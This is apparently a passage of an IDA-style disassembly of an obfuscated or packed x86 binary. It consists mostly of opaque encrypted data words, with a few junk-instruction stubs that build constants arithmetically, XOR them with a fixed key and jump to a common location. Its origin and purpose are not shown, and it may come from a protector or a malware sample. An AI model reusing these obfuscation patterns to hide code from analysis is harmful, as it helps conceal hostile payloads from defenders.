		dd 44A57F87h, 9469396Fh, 0ED6EE8BEh, 300B64Dh, 0B2680D5Bh
		dd 0B6A71F18h, 0DFE70300h, 1D8A750Fh, 6D0939E4h, 0BAE2B490h
		dd 15ED55A3h, 401D1309h, 0B22h,	9EE6A285h, 0D73F6143h
		dd 648CDA3Ah, 0BCC488E9h, 0C81044A1h, 55B62D29h, 0F6AE70Fh
		dd 0C2DC3159h, 0B1914C94h, 680C83EBh, 45378Fh, 15EF7703h
		dd 441E44A2h, 0EF488EE5h, 50DCB57h, 27E72F17h, 2C7250C1h
		dd 9319792Ah, 0DA67C78Ch, 4CC4EAFh, 0BC8A0000h,	50DCBFBh
		dd 0E4BEE7EDh, 0A8FCFC42h, 0ED0E07A5h, 1F57C197h, 6D3437D7h
		dd 0B70F3E0Eh, 2E287E5Ah, 0EB53AC66h, 0AB030004h, 2F17CB9Bh
		dd 0DE60D375h, 9E030004h, 0CD2CF696h, 14F5AFF5h, 51B9693Fh
		dd 259975FBh, 4E0BF56Ch, 0FDA3839Eh, 0FABBA97Bh, 8D7AD720h
		dd 0EFC0939h, 0BC2CDA55h, 1FC38358h, 7FCC3E17h,	90960915h
		dd 0A61FDh, 25634A00h, 7E2000DDh, 0CB9DFB16h, 349AEA3h
		dd 5F0566FBh, 776CE637h, 2B264E1Ah, 9D7098C8h, 568BD381h
		dd 4DC22A70h, 45F648ABh, 2EB60300h, 0D844A254h,	6064D7B1h
		dd 51C70F77h, 869E2C0h,	0B91A1C44h, 0DB3BD3D9h,	1DB76D75h
		dd 0D959C22h, 79D4DC05h, 0FC96361Ah, 0AFDAC997h, 1781Eh
		dd 44A2DA00h, 59B9181Eh, 9D680835h, 125A0519h, 0C6FEF278h
		dd 6CEABC94h, 0E3003638h, 189E9933h, 58050DE9h,	8A50B868h
		dd 0AB4D075Ch, 0E9902611h, 0E0D0050Dh, 0BA7EC320h, 0F63E0F34h
		dd 0D8338F00h, 677B030Ah, 7ACD8A8Dh, 3811B5E1h,	0B89875DBh
		dd 642460D6h, 339Bh, 7F955900h,	0DA936C26h, 3A0F34C1h
		dd 2F930C0Ah, 67030AC1h, 0ECF26FDDh, 66E8BE94h,	0E431655Ch
		dd 5D3DB9C0h, 0FA1ECEF6h, 0C4286FF2h, 0C1EFB5E1h, 75000000h
		dd 0EBCB44A2h, 0CBF3B3A5h, 75DB3811h, 0E5C653D5h, 2804E5BFh
		dd 1F194FABh, 7D292F57h, 0CBE254A7h, 92A2050Dh,	8DE574F2h
		dd 0D52C0DC7h, 31D19583h, 64CAA37h, 0EFC524FEh,	57F7BFB9h
		dd 0D9E5FD4h, 22684E05h, 81D230DAh, 333168CBh, 30CD0F32h
		dd 0A39C82D4h, 0F905A93h, 2FC19BC3h, 4076ACCh, 4A1A2A03h
		dd 287C59B0h, 64300DC0h, 167023EDh, 25BD103h
		dd 8FEh, 0BAC286E9h, 0F31B4DA7h, 683E1Eh, 58A0F4CDh, 94FCA885h
		dd 0B99A0945h, 6B4E83EBh, 2600DD25h, 9DF56870h,	54F0AFB7h
		dd 5B53EBh, 29831303h, 7B2D04E5h, 2F7556ABh, 0ECBA9475h
		dd 0D6401471h, 4B86CE9Eh, 67DD256Bh, 0E88517E5h, 50ADFF0Ch
		dd 0F55ADB0h, 0E4AA8809h, 13AB942Eh, 32050DE7h,	0C5ED81D7h
		dd 8FECCD05h, 34000002h, 0BFA5D6C6h, 46065059h,	267F959Ch
		dd 1C77CA6Ch, 669F9C4Ch, 0A60F34EFh, 0D122C49Eh, 30AD06Dh
		dd 0E345052Dh, 0AD0D268h, 2E869A03h, 3ACF151Bh,	39276D45h
		dd 0D70E8B87h, 0F8DCAA1Fh, 0E56F3F67h, 0B5E1EB9Eh, 23065h
		dd 0C5BCE300h, 0EF050DCBh, 69CD2EF9h, 29050DCBh, 353BD119h
		dd 5CB8CEE2h, 0D6580C0Ah, 7F5AC2C4h, 9B21E129h,	3E04CF98h
		dd 0F947190Fh, 3F9F2716h, 8F372453h, 0CF03003Ah, 8BBB27E7h
		dd 0F21A78D1h, 8984FAFDh, 6A72BA74h, 4FC99FF7h,	1CB6EFE5h
		dd 391D8E23h, 0F062E09h, 9155FCFh, 0E7B6D74Dh, 0C0000007h
		dd 0BE53BBEDh, 71ECF45Ah, 24394117h, 9C7199CFh,	6C8DD583h
		dd 0C094F1F2h, 1A4EA5B8h, 55031FF2h, 0ACF2D00Dh, 0CE29CB44h
		dd 3005A68h, 0A2C2B828h, 0B9181E44h, 9205F359h,	3412ECC0h
		dd 23335BBBh, 3FFDE6EBh, 782C2A52h, 5422830h, 8CAFDB08h
		dd 179h, 0E1B79168h, 0F56F3F77h, 0B38C44A2h, 50DCB0Bh
		dd 0C5337B4Bh, 628D2D13h, 2A68A710h, 0DAF75C9h,	0C50D3505h
		dd 74DA3805h, 4180C66Ch, 52C48AE8h, 0AF9D2112h,	78FB050Dh
		dd 50DAFC6h, 0F2C2BE86h, 0D83910CAh, 0AFA115E6h, 0D1E1050Dh
		dd 27E7AFA9h, 2175FB9Dh, 1D8CE4BFh, 0BB00E3A3h,	0FB0F3401h
		dd 68D24DCBh, 20030A63h, 241C82Ch, 89B5E20Fh, 3Bh, 267F954Fh
		dd 0C1DA936Ch, 0A3A0F34h, 0B69AF950h, 0E2440440h, 0AC1D169h
		dd 263B9903h, 0EB9B9DC3h, 0C170C631h, 30030Ah, 0A9B00440h
		dd 0B5E174EAh, 0B9B1h, 5DBA9700h, 0E5AD57F7h, 0FE782E04h
		dd 2B0B16B6h, 566F365h,	0D62FA88Ah, 0A8D09482h,	0B6BF660h
		dd 0AF58F45h, 50DCBB4h,	6FE9BF95h, 0AB7B4B27h, 51A58B4Dh
		dd 894334EAh, 0E1C15C0Ch, 33A053BBh, 22050DE9h,	0AC769EC4h
		dd 0D427FDA6h, 0F321A85h, 0F9934979h, 478B87Eh,	0E8BC9903h
		dd 7A4A266Eh, 0DE0847F4h, 6A3A7105h, 481C79D0h,	84D02D20h
		dd 1664578Dh, 2E4FC503h, 66Eh, 2A321679h, 638BDD37h, 0B0D88EEEh
		dd 0C810445Dh, 46C3815h, 96A79F5h, 0FBDE335Bh, 0B6904D95h
		dd 6D4598E0h, 0A440DF27h, 59E35Bh, 0B933A303h, 0CB1341A2h
		dd 0CA9CF851h, 792F071Ah, 44A29B11h, 59B9181Eh,	0CB31EBF3h
		dd 5B2BBF86h, 2928F8F8h, 16h, 1E44A253h, 0F359B918h, 0D6DEB805h
		dd 10782E04h, 4001h, 44A2BB00h,	1AA7181Eh, 40050DCBh, 0D7D468D6h
		dd 3E6805BDh, 0A7239B64h, 5363050Dh, 0CA5D57B3h, 0CB4D1B77h
		dd 1076CB9Bh, 67D1879Fh, 59FE72Fh, 16029337h, 0E84BF696h
		dd 50DF656h, 26E62E16h,	1E44A2BCh, 1C8EE544h, 0C4B002CDh
		dd 0E5539BEAh, 0AD07E1A1h, 0DB24FEA7h, 0F3ECA34h, 30987E88h
		dd 247C1B0Dh, 0EBCB26FCh, 0A2805DA5h, 0BAA87AFCh, 0EBCE23F9h
		dd 0C626B3A5h, 0E2B86890h, 0C217E248h, 3C4A178Ah, 75038F6Ch
		dd 53630933h, 1C42A0B9h, 0E7C35EF4h, 10F47B1h, 0B2914EECh
		dd 40DD8DBCh, 183A3C62h, 9BD61212h, 46065A59h, 7DD86CCh
		dd 3D2C926Dh, 330D050Dh, 0E9B98965h, 1F07E053h,	8FB70F34h
		dd 18655C96h, 3D50D603h, 536h, 0E20A5EB1h, 3B43156Fh, 4890C626h
		dd 80E8BC95h, 0DC24704Dh, 41A2413Dh, 3316CB13h,	0EEC8056Dh
		dd 0A5BD50B8h, 9C3897FFh, 5F1BA3h, 71CB5B03h, 7A2C04E5h
		dd 518C8FCh, 0C21F672Dh, 16E4BEE4h, 0D6A36BEAh,	5BDD8D66h
		dd 18B298FEh, 0AE41F546h, 3101050Dh, 560C9791h,	0E0B68C5Eh
		dd 0E5D5C42Ah, 17194FABh, 0D070A0F3h, 4A75D2B8h, 473CAFDBh
		dd 38000000h, 6C267F95h, 34BD7B93h, 31CFD0Fh, 1376E355h
		dd 539BCB4Dh, 8A75CFB3h, 30A8634h, 0D95DDE74h, 99030A86h
		dd 633961A9h, 0C120AC8Eh, 0D0656487h, 0BDBEC60Eh, 30A3EFBh
		dd 4A92F8DEh, 6BEDBB97h, 47D12h, 43E5AE00h, 0DCB4EF0h
		dd 43156F05h, 0D5DD91D5h, 84CA2835h, 792F0792h,	0D89DCB11h
		dd 98883102h, 0F8C80F34h, 0F056DC22h, 0F4C81DCBh, 202ED425h
		dd 191A6DD7h, 30A78A5h,	0F595DDE5h, 7842F873h, 763030Ah
		dd 187AE751h, 6561CC4Ah, 0C45E2A8Fh, 27476E76h,	0C36F3CBAh
		dd 2AE90EEh, 0B4875DE5h, 30A6902h, 0B6D27242h, 97CDB3Eh
		dd 3E03B5E2h, 0C1000000h, 4BB47F95h, 50DCBF3h, 815B83B3h
		dd 34C1F1B6h, 3721110Fh, 0AC106B4h, 9CCC2703h, 71273F9Ah
		dd 0BF354D87h, 5F87D12Fh, 0D13009ABh, 0DDD898Fh, 177CE3C9h
		dd 9EB5E175h, 0FDh, 1E44A25Ah, 85CB918h, 0BE0BEC52h, 0B0C175C6h
		dd 0B181050Dh, 230E1C4Fh, 0DF288E69h, 5868050Dh, 0D333AE88h
		dd 1E7AD78Dh, 39E9848h,	0E6157D23h, 50DD35Dh, 98E0B68Ch
		dd 41D12F02h, 2377F48Eh, 7EF8206Ch, 0AB8B9636h,	5BA173E5h
		dd 795EE7C4h, 0FF612513h, 8F5F6CE0h, 7C164F85h,	34FCB283h
		dd 0E8C5240Fh, 5A0ABABCh, 0AC769EA6h, 0CA27FDA6h, 401073ECh
		dd 0E0569ED6h, 0DD5EE4A4h, 93522B4h, 4BA67C44h,	0CE603A6Eh
		dd 434EDE60h, 2F12152h,	50314BCh, 0FC14B4FCh, 0A5EBCB26h
		dd 693F18E5h, 115D40F0h, 0ED808609h, 322h, 9EE6A285h, 0D73F6143h
		dd 648CDA3Ah, 0BCC488E9h, 0C81044A1h, 55B62D29h, 0F6AE70Fh
		dd 0C2DC3159h, 0B1914C94h, 680C83EBh, 5D378Fh, 15EF7703h
		dd 0CB1341A2h, 0C89EF851h, 0AFF1D34Eh, 0D98FEA67h, 0EA77175Fh
		dd 3E0CC68Ch, 0BA4185DCh, 0EDE5A50Eh, 267F9517h, 1C77CA6Ch
		dd 0CA9ACA4Ch, 34C12469h, 26FCC40Fh, 0C10BB38Ch, 0E94B030Ah
		dd 0AC1A80Eh, 90D8E803h, 45F576F0h, 64030AC1h, 0E5AB8E0Dh
		dd 0FADEBBBDh, 0FCC4A294h, 6D37B3F8h, 70E6B08Ch, 7C709434h
		dd 0E175AE95h, 0BB75B5h, 0E5F30000h, 4AA92A04h,	2C541006h
		dd 57AA7A2Ah, 0B22F297Fh, 9A150351h, 50DC729h, 0ACB49AF8h
		dd 0D0B51B1h, 5208ADBBh, 34EBD4E1h, 93EF420Fh, 731353C5h
		dd 4BEDA78Fh, 0AE956E8h, 7E2E1603h, 886CC16h, 0B3F3652Bh
		dd 0DA66D18Bh, 6E09353Ah, 50AD8C46h, 461FC04h, 0AA41F950h
		dd 7DF30911h, 22160h, 0E5A38A00h, 3E60409Dh, 8BDD3BD6h
		dd 0C389EE63h, 1F45A6BBh, 0B72C26F7h, 6BE60E5Ah, 0DD305808h
		dd 964B93C1h, 0D82EAB0h, 5C36886Bh, 0EE760300h,	1341A214h
		dd 0D187E079h, 8FC5E967h, 49652A68h, 0D4094101h, 0CA40A8FEh
		dd 0EA7FC730h, 313F050Dh, 1B1A1183h, 70105812h,	8C44A28Ah
		dd 0DCB0BB3h, 337B4B05h, 287E54C5h, 47B04AC0h, 50DCBFFh
		dd 0BC9A77BFh, 0CB2B36D6h, 0FB419385h, 30B3C3BEh, 0A56F3F56h
		dd 0BA5CF6AFh, 0D7F05B9h, 0AD7D4505h, 1E8F7D17h, 0F244B734h
		dd 0B2050DBAh, 2FBD9C82h, 2573CB34h, 333050Dh, 0DF280BDBh
		dd 6F0F3427h, 51BF8D47h, 0D32AC837h, 0F19F9949h, 0B6B03E9h
		dd 0F1173D45h, 0C00DEEA4h, 3009338Fh, 0AB8B1600h, 80E673E5h
		dd 0E6FD5CDAh, 0F06FD720h, 72F050Dh, 0F2D459DFh, 1274B5FAh
		dd 0C491F79Ah, 0A4E02D0Eh, 0E6100F34h, 8ECC2965h, 45ADD5B1h
		dd 431172CFh, 8E3003D5h, 0CE030A1Eh, 13EEBEE6h,	6EEB6D33h
		dd 0B2D0460Ch, 5EB446AEh, 0E7FF5208h, 0FFDA47B1h
		dd 0A9A161A9h, 7A104583h, 331C0CF9h, 0AF879A09h, 97377FF9h
		dd 0FC5DDBEBh, 470D65E6h, 12E253D1h, 0A0565A7h,	972F08C2h
		dd 0D7050D02h, 0CEDA7EFh, 0B1F56335h, 0A88A1711h, 819D7CFAh
		dd 57A365D3h, 9C36585Dh, 2C579FAh, 6885050Dh, 7111590Fh
		dd 0A2889F15h, 4DA7F9FEh, 0B08F24F6h, 8F044EB0h, 0BFE7AD8Ah
		dd 0E42F25EFh, 0DBEA31Bh, 0ABD3E305h, 0E5C25FF1h, 0E30CEFBFh
		dd 530F34BCh, 93F11B63h, 857608C2h, 30ABF31h, 0F6CC4171h
		dd 2EFEB6A0h, 315CAB94h, 0D0E00939h, 455DBC66h,	0BCBAE8CAh
		dd 3D00C008h, 0BD177F25h, 3AA6181Bh, 0DEE60507h, 58D3330Eh
		dd 68EE1678h, 757FE4F7h, 0F3F9DD31h, 0D553B1Bh,	0AAACF2D0h
		dd 7E10D62Fh, 0C90139FDh, 0CA497936h, 36C90174h, 52C40C34h
		dd 36C82C34h, 0EF628AD0h, 3657C197h, 16h, 2E04E542h, 8B991BEh
		dd 0C60E2665h, 6AFAA358h, 8D5DE402h, 4BA2896Bh,	58BE1B1Dh
		dd 0B99504F2h, 95EC6DEBh, 0EBC455C3h, 0FDDEBBBDh, 0D330A197h
		dd 2E0E8B8Dh, 163FE78h,	5332D95Fh, 0C381E389h, 4, 4B850h
		dd 0C3290000h, 241C8758h, 31D9685Ch, 4890000h, 2FEE6824h
		dd 2C890000h, 56BA5224h, 52060D86h, 0AD240481h,	582C2B1Bh
		dd 2B1BAD2Dh, 8E685A2Ch, 89000072h, 4832424h, 685D0424h
		dd 656Fh, 8F240489h, 2C8B0845h,	0E7895724h, 4C781h, 0C7830000h
		dd 243C8704h, 24048B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54311E
; ---------------------------------------------------------------------------
		dd 972C7A4Bh, 0E02A5EB4h, 996EB8F2h, 0C503060Dh, 9847E0FFh
		dd 0B51B312Ch, 73D9688Eh, 1B3F5840h, 0EB7D770Fh, 57C736DEh
		dd 0C4EA03A3h, 0A21517D3h, 441C73E0h, 0F02727Fh, 996657A0h
		dd 963D4504h, 0DF0F2268h, 5035C66h, 0A686859h, 0E6971D46h
		dd 5EC01DB1h, 8D8D5FD8h, 60D9AF2h, 2F39B529h, 8D890607h
		dd 6071B41h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	8BC35040h, 816698C7h, 0C74C3EE7h, 7060585h, 671006h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 6E8FB2Eh, 55000000h, 0EE8DBEAh, 0EE9B5h
		dd 43D50000h, 0A5505247h, 7C4DA4D2h, 78B92931h,	0E19D8958h
		dd 0C7060716h, 7006985h, 6, 0F5BD8900h,	0FF060708h, 70C35B5h
		dd 6AD78006h, 1E195FFh,	958B0607h, 6072641h, 95FF006Ah
		dd 6073201h, 7DEBC08Bh,	0A888A2BCh, 66115E5Dh, 4D84A682h
		dd 0CBECDCh, 757DF527h,	0F925FBEAh, 8B7871A5h, 8A4BC507h
		dd 55D77416h, 8A9BA460h, 2133E8C6h, 6540411Fh, 1B341339h
		dd 75E06334h, 0DA76AFFFh, 0AC3406D4h, 0B160B98h, 5D777FE4h
		dd 3C2F7CC3h, 1A681030h, 65C956C0h, 0DD44DF78h,	0C8563153h
		dd 16564737h, 0FFBCCBA8h, 777A9CECh, 0C7C3EEh, 5B2631C3h
		dd 0D1F9E977h, 0D969C902h, 765B778Dh, 4D85C6FEh, 5606071Ch
		dd 0C530DF68h, 0EDB5FFA9h, 8D060712h, 0A7CFE85h, 8DD0FF06h
		dd 702018Dh, 406A5106h,	0AC9B5FFh, 0B5FF0607h, 6072209h
		dd 0B5FFD0FFh, 6070AC9h, 2209B5FFh, 14E80607h, 56000000h
		dd 0EC083FBEh, 0E48F91F7h, 68CADC83h, 5FBCAB14h, 5EBF1DEAh
		dd 4EE835Eh, 2242CC1h, 22424C1h, 0F7243403h, 0FF2B241Ch
		dd 583734FFh, 203AF081h, 0E881227Ch, 4EAE52F5h,	0EA12E881h
		dd 8F50692Eh, 0EF833E04h, 243C3B04h, 0FFDA850Fh, 9D8DFFFFh
		dd 60722D9h, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 0E8C98B18h
		dd 9, 6780629Ch, 4D74549Ah, 0FFC981CCh,	5E08B3BFh, 81AEE480h
		dd 7351C6h, 68C78A00h, 0
		dd 0BA8CE981h, 665A0229h, 0FF389CBFh, 665B3234h, 0B288D981h
		dd 0B96DEB81h, 0DE821DFh, 3D000000h, 5B6D49B1h,	0BC91F2B4h
		dd 4607B67Dh, 6E9h, 723DBB00h, 59F219F1h, 1B7BC381h, 800F5B52h
		dd 0
		dd 4A80F381h, 89FC5142h, 0EE9161Ch, 71000000h, 0AF69F7D4h
		dd 6BC61FB0h, 0ED825749h, 0AE9D7h, 0F1C50000h, 8C385D4Ah
		dd 0D8E3F668h, 0F04EA83h, 0FA81FBBFh, 0FFFF8DA0h, 34850Fh
		dd 5E80000h, 0A3000000h, 96F80455h, 10E9h, 9F2F3500h, 0E014BF9Ch
		dd 0BEB2733Ch, 0C4A77263h, 2EE95917h, 37000000h, 1AB8B9E9h
		dd 79257BF0h, 0CD6C1074h, 880F0F05h, 5,	699E37B9h, 0FF45E923h
		dd 0BF8AFFFFh, 2904E432h, 0E9730916h, 0A483ACEDh, 15FE9DCh
		dd 8B520000h, 0E860D4h,	5D000000h, 9D26ED81h, 428B060Dh
		dd 38453D08h, 850F7826h, 138h, 8B0C428Bh, 0C8D3184Ah, 0C269D1BBh
		dd 83C33378h, 858904E8h, 6071B41h, 8B04588Bh, 10428BF8h
		dd 0D3184A8Bh, 458ABEC8h, 0C633A195h, 0E083C72Bh, 4E883FCh
		dd 6058589h, 428B0607h,	69858914h, 8B060700h, 0E9531842h
		dd 0B0h, 123DB5FFh, 0B9E90607h,	0FF000000h, 72C11B5h, 0AEE906h
		dd 0B5FF0000h, 60722C9h, 0A3E9h, 85B5FF00h, 0E906070Ah
		dd 98h,	0C35B5FFh, 8DE90607h, 0FF000000h, 730A1B5h, 82E906h
		dd 0B5FF0000h, 6073041h, 77E9h,	21B5FF00h, 0E906072Bh
		dd 6Ch,	32C9B5FFh, 61E90607h, 0FF000000h, 72985B5h, 56E906h
		dd 0B5FF0000h, 6071E19h, 4BE9h,	0F1B5FF00h, 0E906071Ch
		dd 40h,	2311B5FFh, 35E90607h, 0FF000000h, 72215B5h, 2AE906h
		dd 0B5FF0000h, 6070BA5h, 1FE9h,	0DDB5FF00h, 0E9060712h
		dd 14h,	0BB8D88Bh, 66000000h, 8D8DE3F7h, 60D9D87h, 0E1FFC803h
		dd 1E195FFh, 8B5B0607h,	71B4185h, 4583906h, 0F850Fh, 6A530000h
		dd 195FF01h, 5B060732h,	0FFFFE2E9h, 0C35A61FFh,	6AB85A61h
		dd 0FF77D4C9h, 0B1858BE0h, 8D06071Eh, 0D9E758Dh, 1418906h
		dd 6E8C38Bh, 98000000h,	0F7B75156h, 0D88166F2h,	605F258Fh
		dd 12E9h, 86EE9000h, 0F4BDEB6Ch, 6320FBC7h, 0F5A719ACh
		dd 0F8587FDh, 0C80h, 7E900h, 0E3650000h, 7389C4D1h, 0C7816169h
		dd 7269h, 2870Fh, 0CF8B0000h, 0BA66F633h, 1C8B131Fh, 36B85337h
		dd 5A703B55h, 39CAF381h, 81661B01h, 81CAF4E1h, 511542C3h
		dd 0F381F84Dh, 4DE1843Bh, 66535EB6h, 8F0AE5B8h,	8A533704h
		dd 0F605AC2h, 0C8Ch, 7E900h, 0EDE70000h, 0B5D503EAh, 0A9D3813Bh
		dd 610FDB40h, 0E05CEE81h, 81F500B7h, 0B7E058C6h, 5E800h
		dd 8CE90000h, 664DE0CBh, 33C0D881h, 58FE8159h, 0FFFFF8Eh
		dd 0FFFF8D85h, 0B6B860FFh, 613B990Dh, 0A0558D8Dh, 6A060Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8D89EBC3h, 6071B41h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0FC35040h, 1F0DBD09h,	85C70607h, 6070605h
		dd 5F88h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	5AC35242h, 3830Fh, 8B660000h, 0C75F56DEh, 7006985h
		dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0C4107CF6h, 8589031Eh, 60712F1h
		dd 0D9D8B57h, 5E060707h, 2985B5FFh, 6A0607h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 115ABAC3h
		dd 820F892Ah, 6, 1659D8Bh, 95FF0607h, 60701E1h,	34CA8166h
		dd 25858BCCh, 6A060733h, 195FF00h, 8B060732h, 450AEBC0h
		dd 0FDE56534h, 0CD196237h, 8EB50h, 45000000h, 0E93951BAh
		dd 4C3h, 0DA17368h, 0DCFCE906h,	0E668FFF9h, 0E9060DA1h
		dd 0FFF9DCF2h, 0DA35968h, 0DCE8E906h, 0DC33FFF9h, 8BE9648Ch
		dd 44A0BDC5h, 3E17CA12h, 0F2CF026Ah, 0C3BF5EA6h, 4991C720h
		dd 83EBBD94h, 0DE266C4Eh, 157D2303h, 991D1EBAh,	0D903006Bh
		dd 41A2F349h, 0CB00B681h, 7040050Dh, 7353CE48h,	4FC99FF8h
		dd 1DB7DF07h, 0CB46F87Bh, 0F806050Dh, 0F937CE42h, 0E366Fh
		dd 6B113D78h, 0FE54F4FCh, 2611CBE8h, 0F34AAE1h,	44C73101h
		dd 30AA9F6h, 0CF525ABEh, 0B5E1CD88h, 2E70Fh, 9969D500h
		dd 9C390F6h, 34EF712Eh,	0A4B1810Fh, 91B99CA5h, 0D9370A7Eh
		dd 1F75DF8Fh, 56B38C46h, 0E6F456B3h, 98CE58DEh,	0B33601DBh
		dd 0D7F251EAh, 4AC735EFh, 0F01B3FA9h, 58F28858h, 33C069D2h
		dd 0DE9680D0h, 9C0BC350h, 4B1171CCh, 0B1906923h, 9D3B61EFh
		dd 0C3F0A0E2h, 72D83E03h, 0BD688A9Bh, 0D5A8AE0Dh, 2FFh
		dd 42AAFED1h, 9BE3B58Fh, 28306646h, 6088DC35h, 0BCC490EDh
		dd 0E1C2E19Dh, 53B6ABB3h, 0E68E50Dh, 0C5DD3058h, 3CD8779Fh
		dd 6A7BC3h, 0D1AB3B03h,	6C267F95h, 3E6BB593h, 6339090Fh
		dd 4C1270C9h, 0F0A4819Ch, 4C1875E8h, 0BB03FC96h, 8903006Bh
		dd 93EED047h, 0E4CCA0F9h, 0F249C224h, 6803005Ch, 21E1B791h
		dd 0B990C6DCh, 0F2DEEB2h, 8CF18C82h, 44000002h,	2DF2761h
		dd 0F5687026h, 0A8A5CD9Bh, 60FD054Bh, 0E8095107h, 4C18756Eh
		dd 86CA2924h, 0D187E37Eh, 287E5489h, 4AB54FC0h,	3006AF4h
		dd 95562CB4h, 0CA6C267Fh, 199D9E30h, 59050DCBh,	0CB54EA69h
		dd 2C14050Dh, 6BD9FF7Ch, 5D650F3Eh, 6BDA60DBh, 0BE920300h
		dd 774D336h, 0AD3BB5E8h, 39000001h, 441E44A2h, 45D88CE5h
		dd 893D3B69h, 0E4C25FD9h, 0E916E4BEh, 8B0FA090h, 92DA8EE5h
		dd 12709AF2h, 51B68B41h, 0F901050Bh, 423E21A4h,	0C27FF882h
		dd 820F343Ch, 0DC5A0E67h, 0C731677Dh, 191F478Fh, 0A5E14A6h
		dd 8CD83503h, 61370F8Ah, 7E766CF7h, 63494D39h, 0E1FC97FCh
		dd 541EB5h, 74FA0000h, 0C7DD3154h, 0B89588FDh, 6A3A6AECh
		dd 267F95F0h, 79629E6Ch, 0FE853B1Bh, 63D2342Fh,	0E8B8E01Dh
		dd 0ACE152h, 644C0F34h,	0C179F2h, 9589030Ah, 8876081Fh
		dd 0A9684FFh, 60D64506h, 20030A00h, 75233D10h, 4903C383h
		dd 0B5E2360Ah, 0A691h, 44A25700h, 0BFB9EFCBh, 0C849CFF7h
		dd 22BFB9EFh, 76C49EC4h, 0EAC77E1Dh, 2447B0BEh,	73EE4818h
		dd 36254D13h, 50D4CE6h,	2D351B7Bh, 0FE94C107h, 32945E7Dh
		dd 3700A20Fh, 304F68Fh,	84D232CFh, 62AAD292h, 207451A8h
		dd 4FA842D8h, 304F6F7h,	42DF8FB7h, 5FDA3361h, 1D031719h
		dd 1194627h, 94FB0000h,	53B1ACB4h, 0C68E50Dh, 0C6DF325Ah
		dd 0BA974A92h, 0FB7786EEh, 0B1D98FE8h, 0CB13455Ch, 66E3416h
		dd 5DA5EBCBh, 61D526C2h, 21030068h, 41A23BB1h, 3016CB13h
		dd 0CEF6A2BFh, 0AC1EECA6h, 0CBAE51B9h, 0A26B11B1h, 0B9181E44h
		dd 41EBF359h, 0E6B85203h, 0FA792F0Bh, 50DCB44h,	0D66C3C04h
		dd 34BD8165h, 0CD2A070Fh, 35D59187h, 9A37949h, 888ED030h
		dd 0D4310CDCh, 8A27880h, 0A86972Fh, 0D83AD703h,	90D88C8Ah
		dd 86CF73F0h, 88EE030Ah, 4AA7BAC2h, 8045181Eh, 0FF000000h
		dd 6C267F95h, 3E6BB193h, 673D050Fh, 7AFCAA8Ah, 72BEC44Ah
		dd 6016E353h, 0FBDB46A0h, 0B2904D95h, 83F16AECh, 5EC0EC17h
		dd 0B4251379h, 0D90B0D5Bh, 0BF8E33B9h, 0D939D1DBh, 3407D973h
		dd 3C5C2982h, 3A52F2C2h, 9F99CF27h, 0F97F2502h,	0EE683E18h
		dd 0D7411773h, 664BA1B9h, 0D2AC0018h, 37197BF4h, 0AA8885C1h
		dd 0B954BCE4h, 53923559h, 0F0662808h, 5AD84AB4h, 0A8C5337Bh
		dd 3, 0A2FF79D0h, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h
		dd 0DEBBBDEBh
		dd 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ecx
		mov	ecx, 4269051Bh
		sub	ecx, 786437F2h
		add	ecx, 3C08D368h
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		xor	dword ptr [esp], 13E33A9Fh
		pop	dword ptr [edi+8]
		push	ecx
		mov	ecx, 8
		add	ecx, edi
		xor	dword ptr [ecx], 13E33A9Fh
		pop	ecx
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54311E
; ---------------------------------------------------------------------------
		dd 0B885F0A4h, 60DA497h, 0E0FFC503h, 26B19245h,	379AC62Eh
		dd 1ED0D8DBh, 6138C62Ch, 575E3B06h, 2C10D75Ch, 1949804Dh
		dd 75124444h, 67754ECBh, 3C618238h, 7EB29B7Ah, 24CD7C1Bh
		dd 2F2968C2h, 8E8h, 303DC100h, 0C124574Bh, 0C18B5BA8h
		dd 6747C381h, 28B90000h, 81116638h, 661E79E9h, 0C0BF0F11h
		dd 9E93B8Bh, 0F9000000h, 0F32C056h, 0CA95894Eh,	0BD62EF81h
		dd 81665E82h, 8136B8E6h, 0F4956EFh, 0CE93Eh, 0F1830000h
		dd 0A7C3038h, 0C61DFB42h, 0EF8140F9h, 36C5C0BBh, 0E2816657h
		dd 38F149Ah, 8320DE80h,	0FE804EBh, 0DC000000h, 5F9AC863h
		dd 0DBB0ABF8h, 877E075Eh, 0C2811F0Ch, 4F110C02h, 850F495Ah
		dd 0FFFFFF98h, 2850Fh, 0E28A0000h, 0BE8h, 15AFB400h, 464BB1CFh
		dd 3B25EDD8h, 10CABB66h, 0D244BB5Ah, 0C2811109h, 6FD6h
		dd 11E9h, 6B9F1400h, 0A834A2F0h, 44C58649h, 956F7C83h
		dd 0C03351D0h, 0A408D781h, 0C8B275Dh, 0D3816602h, 0C181B49Eh
		dd 4C8FC00Fh, 0F88B6657h, 0EF1815Fh, 0E842B608h, 0Bh, 85E9BBADh
		dd 0EBF7F614h, 80D7381Eh, 815F2BC3h, 0AD9132C1h, 1820F0Bh
